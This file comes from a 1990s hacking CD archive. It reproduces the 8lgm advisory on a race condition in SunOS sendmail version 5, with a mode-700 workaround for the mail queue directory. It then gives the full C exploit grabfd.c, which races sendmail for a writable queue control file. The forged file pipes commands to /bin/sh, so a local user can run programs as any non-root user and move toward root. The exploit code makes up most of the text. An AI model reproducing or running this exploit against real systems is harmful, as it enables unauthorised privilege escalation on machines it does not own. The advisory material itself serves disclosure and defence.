home *** CD-ROM | disk | FTP | other *** search
/ SuperHack / SuperHack CD.bin / Hack / UNIX / 8CONTROL.ZIP / 8CONTROL.TXT
Text File  |  1996-06-23  |  5KB  |  154 lines

  1.  
  2.  
  3. **************************************************************************
  4.    HACK: Race condition in sendmail(8) runs programs as any non root user
  5.  System: Sendmail V5.1
  6.  Source: [8lgm]-Advisory-20.UNIX.SunOS-sendmailV5.1-Aug-1995
  7. **************************************************************************
  8.  
  9. PROGRAM:
  10.  
  11.         sendmail(8)
  12.  
  13. VULNERABLE VERSIONS:
  14.  
  15.         SunOS 4.1.*
  16.         Sendmail v5 sources
  17.         Potentially other vendor v5 based sendmails
  18.  
  19. DESCRIPTION:
  20.  
  21.         The method used by sendmail version 5 to open a control file
  22.         is insecure.  A race condition exists whereby another process
  23.         may obtain a control-file file descriptor, opened for write
  24.         access.
  25.  
  26. IMPACT:
  27.  
  28.         Local users can write their own control files, and run programs
  29.         as any user, bar root.  This increases chances of obtaining root
  30.         access on the local system.
  31.  
  32. REPEAT BY:
  33.  
  34.         A program to exploit this vulnerability is available as of now.
  35.         This program has been tested with the latest Sun patch, and should
  36.         work on other platforms.  The program follows at the end of this
  37.         post.
  38.  
  39. DISCUSSION:
  40.  
  41.         Sendmail v5, during execution, sets umask(0), which is an insecure
  42.         mask.  In order not to leave open control files with mode 666,
  43.         sendmail v5 uses chmod(2) to set a secure file mode.  However
  44.         this is a race condition, as we can obtain an open file descriptor
  45.         for write by opening the control file before the call to chmod(2).
  46.  
  47. WORKAROUND:
  48.  
  49.         Change the mode on /usr/spool/mqueue to 700.  This will prevent
  50.         normal users gaining access to the queue files directly.
  51.  
  52.  
  53. grabfd.c:
  54.  
  55. /*
  56.  * grabfd.c
  57.  * usage: grabfd username command-file
  58.  *
  59.  *      username: user to execute 'command-file' as.
  60.  *      command-file: file containing 10 lines of shell commands to execute.
  61.  */
  62.  
  63. #include <stdio.h>
  64. #include <unistd.h>
  65. #include <sys/fcntl.h>
  66. #include <sys/param.h>
  67.  
  68. #ifndef SENDMAIL
  69. #define SENDMAIL "/usr/lib/sendmail"
  70. #endif
  71.  
  72. #ifndef SPOOL_DIR
  73. #define SPOOL_DIR "/usr/spool/mqueue"
  74. #endif
  75.  
  76. char myqfile[] = "D%s\nC%s\nR|/usr/ucb/tail|/bin/sh\n";
  77.  
  78. main(argc,argv)
  79. int argc;
  80. char **argv;
  81. {
  82.         int pid, fd;
  83.         char tbuf[MAXPATHLEN], sysbuf[BUFSIZ];
  84.  
  85.         if (argc != 3) {
  86.                 (void)fprintf(stderr, "%s: user file\n",
  87.                         argv[0]);
  88.                 exit(1);
  89.         }
  90.  
  91.         if (getpwnam(argv[1]) == NULL)
  92.                 (void)fprintf(stderr, "%s: user %s unknown (error ignored)\n",
  93.                         argv[0],
  94.                         argv[1]);
  95.  
  96.         if (access(argv[2], F_OK) == -1) {
  97.                 (void)fprintf(stderr, "%s: %s does not exist.\n",
  98.                        argv[0],
  99.                        argv[2]);
  100.                 exit(1);
  101.         }
  102.  
  103.         if (access(SPOOL_DIR, X_OK) == -1) {
  104.                 (void)fprintf(stderr, "%s: cannot access %s.\n",
  105.                         argv[0],
  106.                         SPOOL_DIR);
  107.                 exit(1);
  108.         }
  109.  
  110.         if (pid=fork()) {
  111.  
  112.                 if (pid == -1) {
  113.                         (void)perror("fork");
  114.                         exit(1);
  115.                 }
  116.  
  117.                 (void)sprintf(tbuf, "%s/tfAA%05d", SPOOL_DIR, pid);
  118.                 (void)sprintf(sysbuf, myqfile, argv[2], argv[1]);
  119.  
  120.                 for (;;)
  121.                         if ((fd=(open(tbuf, O_WRONLY, 0))) != -1) {
  122.                                 (void)printf("%s: grabbed queue fd.\n",
  123.                                              argv[0]);
  124.                                 (void)wait();
  125.                                 (void)ftruncate(fd, 0);
  126.                                 (void)write(fd, sysbuf, strlen(sysbuf));
  127.                                 (void)close(fd);
  128.                                 if(execl(SENDMAIL,
  129.                                       "sendmail", "-q", (char *)0) == -1) {
  130.                                         (void)perror("execl");
  131.                                         exit(1);
  132.                                         };
  133.                         }
  134.         } else {
  135.                 (void)close(0);
  136.                 if (open("/etc/motd", O_RDONLY, 0) == -1) {
  137.                         (void)perror("open");
  138.                         exit(1);
  139.                 };
  140.  
  141.                 if (execl(SENDMAIL,
  142.                           "sendmail",
  143. #ifdef sun
  144.                           "-os",
  145. #endif
  146.                           "-odq", getlogin(), (char *)0) == -1) {
  147.                         (void)perror("execl");
  148.                         exit(1);
  149.                 };
  150.         }
  151.         exit(1);
  152. }       }
  153.  
  154.